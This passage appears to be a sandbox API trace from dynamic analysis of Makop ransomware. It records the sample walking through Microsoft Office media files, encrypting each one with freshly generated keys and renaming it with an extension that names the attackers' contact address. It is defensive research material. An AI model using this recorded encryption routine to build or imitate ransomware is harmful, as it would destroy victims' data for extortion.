lpOverlapped=0x0) returned 1 [0161.716] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0161.716] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0161.716] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0161.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0161.717] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0161.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0161.717] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.717] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.717] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4c450, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x4c450, lpOverlapped=0x0) returned 1 [0161.727] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c450, dwBufLen=0x4c450 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x4c450) returned 1 [0161.731] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.731] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4c450, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x4c450, lpOverlapped=0x0) returned 1 [0161.733] CryptDestroyKey (hKey=0x48c7168) returned 1 [0161.734] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4c524, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.734] SetEndOfFile (hFile=0x130) returned 1 [0161.744] GetProcessHeap () returned 0x48a0000 [0161.744] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.744] GetProcessHeap () returned 0x48a0000 [0161.744] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.744] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0161.744] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\1033\\CAGCAT10.MML.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\1033\\cagcat10.mml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.747] CloseHandle (hObject=0x130) returned 1 [0161.747] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11d8d700, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x11d8d700, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x4c450, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MML", cAlternateFileName="")) returned 0 [0161.747] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0161.747] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2162900, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51b925d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2162900, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.DLL", cAlternateFileName="")) returned 1 [0161.747] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL") returned 61 [0161.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.750] GetProcessHeap () returned 0x48a0000 [0161.750] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.750] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.750] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.751] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.751] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.751] GetProcessHeap () returned 0x48a0000 [0161.751] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.751] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.751] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.751] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.756] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.756] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.756] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.756] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.756] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.757] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.757] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.757] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.757] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3da0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3da0, lpOverlapped=0x0) returned 1 [0161.759] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3da0, dwBufLen=0x3da0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3da0) returned 1 [0161.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.759] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3da0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3da0, lpOverlapped=0x0) returned 1 [0161.759] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.759] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.759] SetEndOfFile (hFile=0xf0) returned 1 [0161.767] GetProcessHeap () returned 0x48a0000 [0161.767] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.767] GetProcessHeap () returned 0x48a0000 [0161.767] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.768] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.768] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.770] CloseHandle (hObject=0xf0) returned 1 [0161.770] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x130a0400, ftCreationTime.dwHighDateTime=0x1c07b1f, ftLastAccessTime.dwLowDateTime=0x60120f70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x130a0400, ftLastWriteTime.dwHighDateTime=0x1c07b1f, nFileSizeHigh=0x0, nFileSizeLow=0x603d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10.MMW", cAlternateFileName="")) returned 1 [0161.771] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW") returned 61 [0161.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.772] GetProcessHeap () returned 0x48a0000 [0161.772] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.772] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.772] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.773] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.777] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.777] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.777] GetProcessHeap () returned 0x48a0000 [0161.777] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.777] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.777] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.777] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.778] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.778] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.778] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.778] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.779] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.779] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.779] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x603d8, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x603d8, lpOverlapped=0x0) returned 1 [0161.792] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x603e0, dwBufLen=0x603e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x603e0) returned 1 [0161.796] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.796] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x603e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x603e0, lpOverlapped=0x0) returned 1 [0161.799] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.799] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x604b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.799] SetEndOfFile (hFile=0xf0) returned 1 [0161.809] GetProcessHeap () returned 0x48a0000 [0161.809] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.809] GetProcessHeap () returned 0x48a0000 [0161.809] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.809] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.809] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\CAGCAT10.MMW.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\cagcat10.mmw.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.811] CloseHandle (hObject=0xf0) returned 1 [0161.811] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ec5600, ftCreationTime.dwHighDateTime=0x1bd4c14, ftLastAccessTime.dwLowDateTime=0xbd180ea0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x11ec5600, ftLastWriteTime.dwHighDateTime=0x1bd4c14, nFileSizeHigh=0x0, nFileSizeLow=0x585a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ELPHRG01.WAV", cAlternateFileName="")) returned 1 [0161.811] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV") returned 61 [0161.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.814] GetProcessHeap () returned 0x48a0000 [0161.814] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.814] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.815] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.815] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0161.819] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.819] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.819] GetProcessHeap () returned 0x48a0000 [0161.819] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0161.819] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0161.819] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.820] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0161.820] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0161.820] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0161.820] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0161.820] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0161.821] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0161.821] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0161.821] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0161.821] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.821] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x585a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x585a, lpOverlapped=0x0) returned 1 [0161.823] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5860, dwBufLen=0x5860 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5860) returned 1 [0161.823] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.823] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5860, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5860, lpOverlapped=0x0) returned 1 [0161.824] CryptDestroyKey (hKey=0x48c7128) returned 1 [0161.824] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5934, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.824] SetEndOfFile (hFile=0xf0) returned 1 [0161.831] GetProcessHeap () returned 0x48a0000 [0161.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0161.831] GetProcessHeap () returned 0x48a0000 [0161.831] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0161.832] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0161.832] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ELPHRG01.WAV.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\elphrg01.wav.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0161.834] CloseHandle (hObject=0xf0) returned 1 [0161.834] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63c1b400, ftCreationTime.dwHighDateTime=0x1bd216e, ftLastAccessTime.dwLowDateTime=0xbd3e24a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x63c1b400, ftLastWriteTime.dwHighDateTime=0x1bd216e, nFileSizeHigh=0x0, nFileSizeLow=0x3602, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0088542.WMF", cAlternateFileName="")) returned 1 [0161.834] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF") returned 61 [0161.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0088542.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0088542.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0161.840] GetProcessHeap () returned 0x48a0000 [0161.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0161.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0161.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0161.841] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, 